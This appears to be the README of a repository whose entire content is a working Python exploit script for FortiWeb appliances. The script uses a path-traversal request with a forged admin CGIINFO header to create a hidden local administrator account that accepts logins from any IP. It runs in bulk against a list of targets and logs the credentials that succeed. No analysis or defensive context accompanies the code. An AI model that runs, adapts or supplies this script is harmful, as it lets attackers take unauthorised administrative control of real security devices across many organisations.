README.md
Rendering markdown...
import http.client
import ssl
import base64
import json
from uuid import uuid4
import sys
import os
from urllib.parse import urlparse
def parse_target(target):
if '://' not in target:
target = 'https://' + target
parsed = urlparse(target)
hostname = parsed.hostname
port = parsed.port
if port is None:
if parsed.scheme == 'https':
port = 443
else:
port = 443 # Default to 443 for HTTPS
return hostname, port
def exploit_target(host, port):
user = str(uuid4())[:8]
passwd = user
raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
headers = {
"CGIINFO": cgiinfo_b64,
"Content-Type": "application/x-www-form-urlencoded",
}
body = {
"data": {
"q_type": 1,
"name": user,
"access-profile": "prof_admin",
"access-profile_val": "0",
"trusthostv4": "0.0.0.0/0",
"trusthostv6": "::/0",
"last-name": "",
"first-name": "",
"email-address": "",
"phone-number": "",
"mobile-number": "",
"hidden": 0,
"comments": "",
"sz_dashboard": -1,
"type": "local-user",
"type_val": "0",
"admin-usergrp_val": "0",
"wildcard_val": "0",
"accprofile-override_val": "0",
"sshkey": "",
"passwd-set-time": 0,
"history-password-pos": 0,
"history-password0": "",
"history-password1": "",
"history-password2": "",
"history-password3": "",
"history-password4": "",
"history-password5": "",
"history-password6": "",
"history-password7": "",
"history-password8": "",
"history-password9": "",
"force-password-change": "disable",
"force-password-change_val": "0",
"password": passwd
}
}
body_data = json.dumps(body)
try:
context = ssl._create_unverified_context()
if port == 443:
conn = http.client.HTTPSConnection(host, port, context=context, timeout=10)
else:
conn = http.client.HTTPSConnection(host, port, context=context, timeout=10)
conn.request("POST", raw_path, body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': user,
'password': passwd,
'success': resp.status == 200
}
conn.close()
return result
except Exception as e:
return {
'target': f"{host}:{port}",
'status': 'Error',
'user': None,
'password': None,
'success': False,
'error': str(e)
}
def main():
if len(sys.argv) != 2:
print("Usage: python3 exploit_forti.py <target_file_or_single_target>")
print("\nExamples:")
print(" python3 exploit_forti.py targets.txt")
print(" python3 exploit_forti.py 192.168.1.1")
print(" python3 exploit_forti.py 192.168.1.1:8443")
print(" python3 exploit_forti.py https://192.168.1.1:8443")
sys.exit(1)
input_arg = sys.argv[1]
targets = []
if os.path.exists(input_arg):
print(f"[*] Reading targets from file: {input_arg}")
with open(input_arg, 'r') as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
else:
print(f"[*] Using single target: {input_arg}")
targets = [input_arg]
if not targets:
print("[-] No valid targets found!")
sys.exit(1)
print(f"[*] Loaded {len(targets)} target(s)")
print("[*] Starting exploitation...\n")
results = []
successful = []
for i, target in enumerate(targets, 1):
print(f"[{i}/{len(targets)}] Testing: {target}")
try:
host, port = parse_target(target)
result = exploit_target(host, port)
results.append(result)
if result['success']:
print(f" [+] SUCCESS - User: {result['user']} / Password: {result['password']}")
successful.append(result)
else:
error_msg = f" - {result['error']}" if 'error' in result else ""
print(f" [-] FAILED - Status: {result['status']}{error_msg}")
except Exception as e:
error_result = {
'target': target,
'status': 'Error',
'user': None,
'password': None,
'success': False,
'error': str(e)
}
results.append(error_result)
print(f" [-] ERROR - {str(e)}")
print()
output_file = "fortiweb_exploit_results.txt"
with open(output_file, 'w') as f:
f.write("FortiWeb Exploitation Results\n")
f.write("=" * 50 + "\n\n")
for result in results:
f.write(f"Target: {result['target']}\n")
f.write(f"Status: {result['status']}\n")
if result['success']:
f.write(f"Username: {result['user']}\n")
f.write(f"Password: {result['password']}\n")
f.write("Result: SUCCESS\n")
else:
error_msg = f" - {result['error']}" if 'error' in result else ""
f.write(f"Result: FAILED{error_msg}\n")
f.write("-" * 30 + "\n")
print("\n" + "=" * 50)
print("EXPLOITATION SUMMARY")
print("=" * 50)
print(f"Total targets: {len(targets)}")
print(f"Successful: {len(successful)}")
print(f"Failed: {len(targets) - len(successful)}")
print(f"Results saved to: {output_file}")
if successful:
print("\nSUCCESSFUL EXPLOITS:")
for result in successful:
print(f" {result['target']} - {result['user']}:{result['password']}")
if __name__ == "__main__":
main()